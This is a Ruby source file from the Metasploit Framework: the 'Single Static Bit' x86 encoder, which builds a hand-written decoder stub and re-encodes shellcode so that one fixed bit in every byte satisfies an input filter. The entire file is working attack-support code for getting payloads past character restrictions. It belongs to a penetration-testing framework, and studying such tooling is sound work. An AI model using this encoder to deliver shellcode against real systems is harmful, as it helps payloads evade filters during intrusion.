##
# $Id: single_static_bit.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

#
# NOTE: this encoder currently has only be tested using bit 5 set to on.
#
# The decoder has been tested with all possible values, but the decoder stub
# is was not designed to bypass restrictions other than "bit 5 must be on"..
#
class Metasploit3 < Msf::Encoder

	# This encoder has a manual ranking because it should only be used in cases
	# where information has been explicitly supplied, specifically
	# BitNumber and BitValue.
	Rank = ManualRanking

	def initialize
		super(
			'Name'             => 'Single Static Bit',
			'Version'          => '$Revision: 9179 $',
			'Description'      => 'Static value for specific bit',
			'Author'           => 'jduck',
			'Arch'             => ARCH_X86,
			'License'          => MSF_LICENSE,
			'EncoderType'      => Msf::Encoder::Type::SingleStaticBit
			)

		# this shouldn't be present in the decoder stub.
		@key_marker = 0x1010
	end

	#
	# Returns the decoder stub that is adjusted for the size of
	# the buffer being encoded
	#
	def decoder_stub(state)

		bit_num = (datastore['BitNumber'] || 5).to_i
		bit_val = (datastore['BitValue'] || true)

		# variables:
		# bit to ignore                                  (global - harcoded)
		# buf len (can be deduced with a jmp/call/pop)   (global - ebx)
		# current source byte ptr                        (global - esi)
		# current dest byte ptr                          (global - edi) ?
		# current dest byte                              (global - ah)  ?
		# number of bits accumulated                     (global - ebp) ?
		# current source byte                            (outer  - al)
		# bit index (for this byte)                      (inner  - cl)  ?
		pre_init = ""
		pre_init << "\x31\xed"        # xor ebp, ebp               - no bits accumulated
		pre_init << "\x83\xe1\x01"    # and ecx, $0x1              - init inner loop counter (set to 0/1)
		pre_init << "\x83\xe3\x01"    # and ebx, $0x1              - init buffer length
		pre_init << "\x66\xbb" + [@key_marker].pack('v')         # - load encrypted buffer length
		pre_init << "\x66\x81\xf3" + [@key_marker].pack('v')     # - xor decrypt buffer length

		# we stored an entire byte, move to the next one
		next_byte = ""
		next_byte << "\x83\xef\xff"  # sub edi, 0xffffffff         - increment dst pointer
		next_byte << "\x31\xed"      # xor ebp, ebp                - no bits accumulated

		# inside the loop, we need to extract a bit, as
		# specified by:
		#
		# ecx-1  - bit number to extract
		# al     - byte to extract it from
		get_a_bit = ""
		get_a_bit << "\x60"          # pusha                       - save all registers
		get_a_bit << "\x83\xe9\x01"  # sub ecx, 1                  - account for 1-based counting
		get_a_bit << "\x74\x06"      # jz +6                       - skip dividing if bit zero
		get_a_bit << "\xb3\x02"      # mov bl, 2                   - set divisor to 2
		# divide_it:
		get_a_bit << "\xf6\xf3"      # div bl                      - do the division
		get_a_bit << "\xe2" + [-1 * (2+2)].pack('C')             # - divide again..
		# store_bit:
		get_a_bit << "\x83\xe0\x01"  # and eax, 0x01               - we only want the lowest bit
		get_a_bit << "\x6b\x2f\x02"  # imul ebp, 2, [edi]          - load [edi], shifted left by 1, to ebp
		get_a_bit << "\x09\xe8"      # or ebp, eax                 - set bit 0
		get_a_bit << "\xaa"          # stosb al, [edi]             - store byte back
		get_a_bit << "\x61"          # popa                        - restore previous ebx/eax
		get_a_bit << "\x83\xed\xff"  # sub ebp, 0xffffffff         - increment bits stored

		inner_init = ""
		inner_init << "\xb1\x08"      # mov cl, $0x8               - init loop counter

		inner_loop = ""
		# process_bits:
		inner_loop << "\x80\xf9"     # cmp cl, <ignore_bit + 1>   - is this the one to ignore?
		inner_loop << [(bit_num+1)].pack('C')
		len = get_a_bit.length + 3 + 2 + next_byte.length
		inner_loop << "\x74" + [len].pack('C')                   # - je next_bit
		inner_loop << get_a_bit
		inner_loop << "\x83\xfd\x08"  # cmp ebp, $0x8              - got 8 bits now?
		inner_loop << "\x75" + [next_byte.length].pack('C')      # - jne to next_bit
		# next_dst_byte:
		inner_loop << next_byte
		# next_bit:
		# I really wish this silly padding wasn't necessary, however removing the bad characters in the
		# jump/call displacements has proven difficult otherwise.
		inner_loop << "\x90" * 0x1a   # nops                       - for padding (so relative jumps don't have badchars)
		len = -1 * (inner_loop.length+2)
		inner_loop << "\xe2" + [len].pack('C')                   # - loop process_bits

		# prefixed by:                # jmp data_beg_call
		outer_init = ""
		# get_data_beg:
		outer_init << "\x5e"          # pop esi                    - ptr to beginning of data
		outer_init << pre_init
		outer_init << "\x89\xf7"      # mov edi, esi               - decode in place, init dst ptr

		outer_loop = ""
		#outer_loop << "\x90" * (0xd+6)
		outer_loop << "\x83\xe0\x7f"  # and eax, 0x7f              - we only want the low byte
		outer_loop << "\xac"          # lods   al, [esi]           - load src byte
		outer_loop << inner_init << inner_loop
		outer_loop << "\x83\xeb\x01"  # sub ebx, 1                 - 1 byte down!
		outer_loop << "\x74\x07"      # jz +(2+5)                  - jump to data!
		len = -1 * (outer_loop.length+2)
		# next_byte:
		outer_loop << "\xeb" + [len].pack('C')                   # - jmp process_byte
		# data_beg_call:

		decoder = outer_init + outer_loop
		jmp = "\xeb" + [decoder.length].pack('C')
		call = "\xe8" + [-1 * (decoder.length+5)].pack('V')
		decoder = jmp + decoder + call

		# encoded sled
		state.context = ''

		return decoder
	end

	def encode_block(state, block)
		bit_num = (datastore['BitNumber'] || 5).to_i
		bit_num = (7-bit_num)
		bit_val = (datastore['BitValue'] || true)

		encoded = ''
		new_byte = 0
		nbits = 0

		block.unpack('C*').each do |ch|
			7.step(0,-1) do |x|

				# is this the special bit?
				if (nbits == bit_num)
					new_byte <<= 1 if nbits > 0
					new_byte |= 1 if bit_val
					nbits += 1

					# do we have a full byte?
					if nbits == 8
						encoded << new_byte.chr
						new_byte = 0
						nbits = 0
					end
				end

				# we have space, add it in
				new_byte <<= 1 if nbits > 0
				new_byte += 1 if (((ch >> x) & 1) > 0)
				nbits += 1

				# do we have a full byte?
				if nbits == 8
					encoded << new_byte.chr
					new_byte = 0
					nbits = 0
				end
			end
		end

		# if we have bits left, pad out to a whole byte
		if nbits > 0
			while nbits < 8
				new_byte <<= 1
				new_byte |= 1 if (nbits == bit_num) and bit_val
				nbits += 1
			end
			encoded << new_byte.chr
		end

		return encoded
	end

	#
	# Appends the encoded context portion.
	#
	def encode_end(state)
		state.encoded += state.context

		xor_key = 0
		xor_key_str = ''
		enc_len_str = ''
		loop do
			xor_key = rand(0x10000)
			xor_key_str = [xor_key].pack('v')
			enc_len_str = [state.encoded.length ^ xor_key].pack('v')
			next if has_badchars?(xor_key_str, state.badchars)
			next if has_badchars?(enc_len_str, state.badchars)
			break
		end

		marker_str = [@key_marker].pack('v')

		state.encoded.sub!(marker_str, enc_len_str)
		state.encoded.sub!(marker_str, xor_key_str)
	end

end
